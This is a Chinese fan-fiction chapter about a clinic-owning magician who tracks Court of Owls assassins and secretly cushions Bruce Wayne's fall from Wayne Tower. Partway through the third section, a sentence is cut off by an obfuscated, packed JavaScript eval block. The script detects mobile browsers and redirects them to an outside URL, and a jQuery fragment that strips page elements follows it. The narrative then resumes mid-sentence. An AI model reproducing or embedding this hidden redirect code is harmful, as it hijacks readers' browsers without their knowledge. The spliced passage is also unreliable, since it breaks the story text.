1
游乐园之后,哥谭下了两场雨。
一场在夜里,一场在清晨。东区的街道永远湿漉漉的,路灯照在水洼上,反着昏黄的光。
诊所的生意和往常一样,不咸不淡。上午崴脚的小孩,下午咳嗽的老太太,中间夹个被猫抓伤的邮递员。
唯一有点发愁的事,总有一些病患不会和医生保持距离。比如卡伦给老太太量血压的时候,她问他有没有对象。他说没有。老太太说可惜了,小伙子长得挺好看的。他说谢谢。她又说我孙女也不错。卡伦回复他最近在考虑出家。
卡伦觉得这不能怪他。
杰森来过两次,两次都没多留。
他觉得自己应该庆幸。那些在摩天轮上脱口而出的蠢话也可以当没说过,反正杰森没听见。
烟花那么响,他不可能听见。
卡伦每天这样告诉自己一遍,试图让自己忘记这件只要想起来就会几乎让他无地自容的事。
真的很尴尬啊,现在想起来还会怀疑自己是不是有点幼稚,特意卡着烟花炸开的时候告白什么的。
最可怕的是,如果时间倒退让他再来一次,他还会干。
简直就是不敢撞南墙,但又不回头。
虽然每天心情复杂,但卡伦也没闲着。
观测世界的事他一直记着。林肯·马奇,猫头鹰法庭,韦恩大厦,利爪。他不记得具体的时间线,只知道这些事会在近期发生。也许下周,也许下个月,也许明天。
几个闪现的片段像是残缺的拼图碎片,他只能猜一个大概的形状,剩下的靠蒙。
他不知道能做什么,他只知道不能什么都不做。
预言是活的,你说出口的那一刻,它就会变。未来是由无数个“行为”堆出来的。
你告诉一个人他会摔跤,他走路的时候会一直盯着地面,然后撞上电线杆。
虽然他也不知道观测平行世界的发展这种东西算不算预言,但反正二者比起来也说不好谁更准。总之目前看来发展差不多。
不是预言错了,是预言本身改变了他走路的方式。
这玩意儿就像你妈告诉你别把饭粒掉在桌上——你本来不会掉的,她一说,你手一抖,掉了。
靠预言吃饭的法师,最后基本都疯了,倒不是看到了什么可怕的东西,更多的是他们分不清“看到的”和“造成的”。
所以他不主动透露未来的事。除非——不透露的后果比透露更糟。灭霸那次,后果是宇宙一半生命消失,尽管后面那些人回来,打败了灭霸,但钢铁侠也是真的死了。他没得选。
但猫头鹰法庭不一样。没有卡伦帮忙,没有预言指路,蝙蝠侠也能解决这件事。
卡伦觉得这就够了。他不需要告诉蝙蝠侠迷宫在哪里、怎么出去、里面有什么。那些是蝙蝠侠需要自己去经历的东西。
他只需要保证一件事——他不会摔死。不是让他不摔,是让他不摔死。差一个字,天差地别。他不会替蝙蝠侠躲开这一劫,他只是在最坏的情况发生时,保证他活下来。
虽然命运并不是不可改变的,但像猫头鹰法庭这种影响重大的事,与其改到一个谁都不知道的路,还不如尽量让原本的路好走一些。
所以他在东区布阵的时候,顺便把韦恩大厦附近也铺了一层。很薄,像一层灰,不仔细感知根本发现不了。触发条件是他自己设计的——布鲁斯·韦恩从高处急速下坠。
阵法铺好的那天晚上,卡伦蹲在韦恩大厦对面的楼顶上,把最后一块刻了符文的石头塞进排水管道的缝隙里。
哥谭的夜风吹过来,把他的头发吹到脸上。头发还是长的,他一直没有剪。说不清是懒得剪还是不想剪。
也许是因为那个小女孩说“妈妈应该是长头发”。她走了之后他还在留。这很蠢,他知道。小女孩会不会留下或者会不会得到幸福的一生和他的长发没有半毛钱关系。
但有些事情就是这样——你知道它蠢,你还是做了。
手机震了一下,杰森的消息。
“你在哪儿?”
卡伦看了一眼脚下的韦恩大厦,打了两个字。“外面。”
“哪个外面?”
“东区。”
对面沉默了一会儿。“又在cos蜘蛛侠?复仇者会告你侵权的。”
卡伦听懂了,明摆着在说他到处布阵像蜘蛛到处结网。
“嗯,之前没铺完。”
“你在我的地盘上结网?”
卡伦的手指停了一下。
他想打“你的地盘?”,又删掉了。
他想了想,打了一句:“你的地盘上有一家诊所,更巧的是那家诊所是我的,所以东区至少算是咱们两个的共有财产。”又删掉了。
太长了,而且听起来像在表白。
他又想了一下,打了六个字:“诊所也在东区。”
发送。
对面沉默了更久。
卡伦以为他不回了,正准备把手机塞进口袋,屏幕亮了。
“我又没拦你。”
在东区结了网,就在东区好好待着啊,别天天去宇宙走钢丝。
卡伦笑了一下。
他把手机收好,站起来,拍了拍裤子上的灰。夜风把他的头发吹得更乱了,他伸手捋了一下,没捋顺。
他转身消失在哥谭的夜色里。像一个鬼。一个头发很长的、穿工装裤的、蹲在别人楼顶上塞石头的鬼。
他觉得自己要是被哥谭市民看见了,大概会被当成都市传说。
也好,比“诊所那个长得还行的医生其实是个变态跟踪狂”强。
———
2
接下来的几天,卡伦的夜巡从“布阵”升级成了“抓利爪”。
阵法比他预想的管用。那些利爪——法庭的刺客,被琥珀金复活的死人——在夜晚行动的时候,会在他的感知网里亮成一个个暗红色的光点。
他们的灵魂不算活着,也谈不上死了,是那种被卡在中间的、像将灭未灭的炭火一样的光。用点魔法世界的行话来讲,就是“不该存在的”。
第一个利爪是在东区的一个废弃仓库里发现的。
它蹲在房梁上,黑色的战斗服和夜色融为一体,猫头鹰护目镜在月光底下反射着冷光。它在等一个人。卡伦不知道它在等谁,但他知道这个人不该死在这里。他从暗处切进去,像猫从高处跃下,无声无息。手指间夹着一枚刻了符文的石头,在利爪反应过来之前,按在它的后颈上。
银白色的光炸开,一股极为冰寒的气息侵入利爪的身体。利爪僵住了,像一台被拔掉电源的机器。它从房梁上栽下来,卡伦接住了它。
很重。比它看起来重得多。身体像一块被冻过的铁。卡伦把一枚定位用的符文塞进它的护目镜夹层里,然后把它的四肢摆正,靠在墙上。
它会在天亮之前醒来,不记得发生了什么。但卡伦会知道它去了哪里。
尽管这枚符文的科技含量为零,定位全靠魔法,他也没有指望着这个定位能坚持多长时间,猫头鹰法庭发现不了的话,那也太low了,不过至少能有个大概的方向。
第二个利爪是在韦恩大厦附近的一条小巷里发现的。它站在路灯底下,一动不动,像一个等人认领的行李箱。卡伦从它背后走过去,脚步声压到最低。手指碰到它的后颈时,它的头转了过来。一百八十度。
确实挺像猫头鹰。
卡伦和那张被护目镜遮住大半的脸对视了一秒。
这一秒里他的脑子里闪过很多念头。“好家伙,它的脖子不疼吗”“它能不能看见自己的屁股”。
然后他把符文按了上去,把它的身体靠在垃圾桶旁边,摆了一个很安详的姿势——双手交叠放在腹部,双腿并拢,像躺在棺材里。他觉得自己很有幽默感。虽然没人欣赏。
第三个,第四个,第五个。
五天时间,卡伦把韦恩大厦附近感知到的利爪一个一个摸了过去。有的在楼顶,有的在地下停车场,有的混在早高峰的人群里——穿着黑色连帽衫,戴着墨镜,但走路的姿势不对。
卡伦跟了它三条街,在一个拐角处把它按进了消防通道的阴影里。身体倒下去的时候,他看见它的脖子侧面有一道很长的疤,从耳后一直延伸到锁骨,缝过,又裂开,又缝上。
他盯着那道疤看了两秒。然后把符文塞进它的衣领里。
顺便帮它把连帽衫的帽子拉好,毕竟晚上冷,虽然它应该感觉不到。
他把追踪到的信息整理成一份文件,存在诊所地下室的电脑里。电脑是二手市场淘的,做了点魔法改造,屏幕上有两道裂痕,键盘的A键不太灵敏。
他给文件取名叫“猫头鹰”,加密了三层,又在文件夹里放了一个诱饵文件,名字叫“真的在这里”,内容是空的,谁点开谁倒霉。
杰森来的那天,卡伦正在往文件里加第七个利爪的坐标。
杰森靠在诊台上,手里端着一杯茶,看着他对着电脑敲敲打打。
“你在干什么?”
“整理东西。”
“什么东西?”
卡伦犹豫了一下。“猫头鹰法庭。”
杰森的手停了一下。“你在查猫头鹰法庭?”
“嗯。”
“为什么?原来这玩意儿是真的存在的?”
他转头看杰森。“林肯·马奇,韦恩大厦,利爪。他们快动手了。”
杰森的表情没变,他把茶杯放下了。“查到什么了?”
卡伦把电脑屏幕转过去。
“七个利爪,分布在韦恩大厦附近,我在它们身上放了追踪器。”
杰森看了一眼屏幕上的坐标图。
“你怎么找到它们的?”
“阵法。它们晚上出来的时候,在我的感知网里是暗红色的。”
杰森没说话。他盯着那些坐标点,看了一会儿。“你要发给老头子?”
“嗯,整理完就发。”
杰森沉默了一会儿。他的手指在诊台上敲了两下。
“你什么时候开始管这些事了?”
卡伦愣了一下。“什么?”
“猫头鹰法庭,蝙蝠侠的事,哥谭的事。”杰森看着他。
“你以前只管诊所。”
?瞧瞧这是什么话。难道小丑的事他没功劳还是灭霸的死与他无关。
卡伦把目光移回屏幕上。他想起自己在韦恩大厦楼顶塞石头的那个晚上,哥谭的夜风很冷,他的手有点冻僵了。
他想起自己站在楼顶边缘往下看,想着布鲁斯·韦恩从同样的高度坠落的时候,会不会害怕,会不会想起他父母,会不会想起那些他没来得及说再见的人。
好吧,蝙蝠侠当然不会,蝙蝠侠总是有办法。
但是卡伦小时候会,很多小孩子都会害怕。
“她来过之后,”卡伦说,“我想多做一些。”
“你发吧,老头子该知道。虽然我觉得蝙蝠侠应该早就知道了,只是没让我们出演他的电影。”
卡伦点头。他低头继续敲键盘。杰森站在旁边,把凉掉的茶喝完了。然后他放下杯子,走到门口。
“别一个人去碰那些东西。”他说。
门关上了。
———
3
宴会厅在水晶吊灯底下亮得发白。
布鲁斯·韦恩端着酒杯,站在人群中间。林肯·马奇在他旁边,和一个市政厅的人聊哥谭东区的重建计划。布鲁斯听着,偶尔点头。他的余光扫过宴会厅的每一个角落。落地窗,阳台,消防通道,厨房后门。
宴会进行到一半的时候,马奇接了一个电话。他的表情变了一下,很快又恢复了。他把手机收起来,走到布鲁斯旁边。
“东区的汤普金森诊所有点事。”他说。“我得过去一趟。”
布鲁斯看着他。“什么事?”
“不太清楚。可能是抗议。也可能是马奇风投的竞争对手搞的。”他拍了拍布鲁斯的肩膀。“你先待着。我很快回来。”
马奇走了。布鲁斯站在宴会厅中央,看着他的背影消失在电梯口。他端起酒杯,抿了一口。没咽下去。他含在嘴里,感觉那点液体从舌尖滑到喉咙,又滑回去。
他把杯子放下了。
韦恩大厦的楼顶,夜风很大。
布鲁斯站在边缘,往下看。哥谭在他脚下铺开,灯光明灭,像一块坏了很久的电路板。他想起戈登今天下午打来的那个电话。有人在东区发现了利爪的踪迹。不止一个,分布在韦恩大厦附近。戈登不知道是谁干的,那些人被摸过之后什么都没丢,只是脖子上多了一小块淤青。
布鲁斯知道是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444129|201073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谁。卡伦,那个开诊所的魔法师,杰森的朋友。
Batman is watching you.
身后有脚步声。
布鲁斯没回头。利爪,猫头鹰法庭的刺客。
脚步声停了,停在离他大概三米的地方。
布鲁斯转过身。一个穿着黑色战斗服的人影站在楼顶中央,猫头鹰护目镜在月光底下反射着冷光。它的手里拿着一把刀,刀刃很窄,很薄,像猫头鹰的爪子。
“布鲁斯·韦恩。”它的声音很平,没有感情。“猫头鹰法庭向你问好。”
布鲁斯看着那把刀。“谁派你来的?”
利爪没有回答。它往前迈了一步,布鲁斯侧身避开利爪的刀,刀刃擦过他的肋骨,割开西装外套和衬衫,留下一道浅口。
他来不及疼,因为第二刀已经到了。他后仰,刀锋从他鼻尖上方掠过,削掉了几根头发。利爪的动作比他预想的快,几乎没有停顿。正常人出刀之后需要收力、调整、再出刀。利爪不需要。
它的关节像是不存在,刀从一个不可能的角度折回来,直奔他的喉咙。
它的刀横着扫过来。
布鲁斯往后仰。刀锋擦过他的胸口,割断了领带。他的身体已经仰到了一个正常人不可能平衡的角度,脚下就是虚空。他看了一眼身后。哥谭的灯光在他脚下铺开,很远,很亮。再往后一步,就是坠落。
利爪往前迈了一步,刀举过头顶,准备往下劈。
布鲁斯没有等它劈下来。
风从下面吹上来,把他的外套吹得翻起来。
蝙蝠侠当然可以在场和他们打得不相上下,但哥谭甜心不行,所以布鲁斯他往后倒了下去。
风从他的耳边呼啸而过。外套翻起来,遮住了他的视线。哥谭的灯光在他身下铺开,越来越近,越来越亮。
布鲁斯下落的时候,手指在墙壁上摸索。冰冷的石砖,粗糙的接缝,从他指尖飞速掠过。
他在找一样东西。他相信它存在,他必须相信。
然后他摸到了。
一块凸起的石头。
一只猫头鹰。
藏在韦恩大厦外墙的某个角度,从地面上永远看不见的位置。艾伦·韦恩在一百年前就放在那里的。第十三座雕像。多出来的那一座。猫头鹰法庭以为他们掌控了一切,但艾伦·韦恩用他们自己的方式——藏一个别人看不见的东西——留下了一只手。
布鲁斯的手指扣住了它。石像的边缘很锋利,割进了他的掌心。他的身体猛地停住,肩膀差点脱臼。他咬着牙,吊在半空中。血从指缝里渗出来,顺着石像的纹路往下淌。利爪站在楼顶边缘往下看了一眼,转身走了。
它不需要确认死亡。从这种高度摔下去,没有人能活着。
布鲁斯吊在那里,手指扣着那只石猫头鹰。
然后他感觉到了身下有一层很薄很薄的东西。
像棉花,像水,像一只手,托住了他的背,刚好够他不会脱手。
布鲁斯低头看了一眼,什么都没有。
哦,魔法师。
卡伦还知道什么?他知道多少?他知道的这些事情里,有多少是他没说出口的?
他深吸一口气,开始往上爬。手指扣着石像的边缘,脚蹬着墙壁的缝隙。那张看不见的网在他身下托着他,爬到楼顶边缘,手伸上去,扣住栏杆。
翻身,落地。
布鲁斯站起来,走到楼顶边缘,往下看了一眼。哥谭的灯光在他脚下铺开,很远,很亮。他转身走进楼梯间。
猫头鹰法庭即将迎来他们严厉的父亲。
布鲁斯走进电梯。门关上了。他的掌心还在渗血,他把手插进口袋里。
———
4
卡伦收到消息的时候,正在地下室整理第八个利爪的坐标。
手机屏幕亮了。新闻推送。“布鲁斯·韦恩从韦恩大厦坠落,目前情况不明。”
阵法用完了,一次性的。他故意做成一次性的,说白了也是销毁证据,妄图蝙蝠侠不要来找他麻烦。
虽然大家都能猜出来是谁干的。
至少这样证明不了是他不是吗?他想韦恩不至于一边坠落一边录像,甚至请一个魔法师来现场解说?
卡伦把手机放下,把窗帘拉好,在沙发上躺下来。
———
5
天亮的时候,杰森来了。
他推门进来,没说话,在候诊区的椅子上坐下,脚搭上小茶几。卡伦从沙发上起来,看见他,愣了一下。
“你怎么来了?”
杰森没看他,盯着天花板。
“路过。”
卡伦看着他眼睛底下的黑眼圈。
怎么,是路过了全世界吗?
“他没什么事。”杰森开口了。
“我知道。”
“你怎么知道?”
卡伦下意识回答:“我在楼顶布了阵。”
哦,够了死嘴别说了,这样显得他上面特意把那个阵法做成一次性的半点用也没有。
杰森转头看他。“你知道他会从楼上掉下来?”
“知道。”
“预言这种东西,”他接着说,“你说出口的那一刻,它就会变。”
他也不知道他的观测和预言有什么差别,但最怕的就是没有差别。
杰森看着他。
“知道之后,你的行为就变了。未来是由无数个‘行为’堆出来的。你告诉他他会摔跤,他走路的时候会一直盯着地面,然后撞上电线杆。”卡伦停了一下。
“这不是预言错了,是预言本身改变了他走路的方式。”
杰森没说话。
“我不告诉他,不是因为这得他自己走。”卡伦说。“是因为我不知道,我告诉他之后,会发生什么。也许会变得更糟。
也许他不会去楼顶了,也许利爪会换一种方式,也许死的不是他,是别人。”他低头看着茶杯里的水。
“所以我不告诉他至少能保证他不会摔死。剩下的,他自己来。”
“下次,”他说,“提前告诉我。”
“别担心,我不会插手,我甚至会来一场超绝哥谭甜心极限自救的现场直播。”
“我们可以一起当观众——或者临时的救援人员,不是吗?”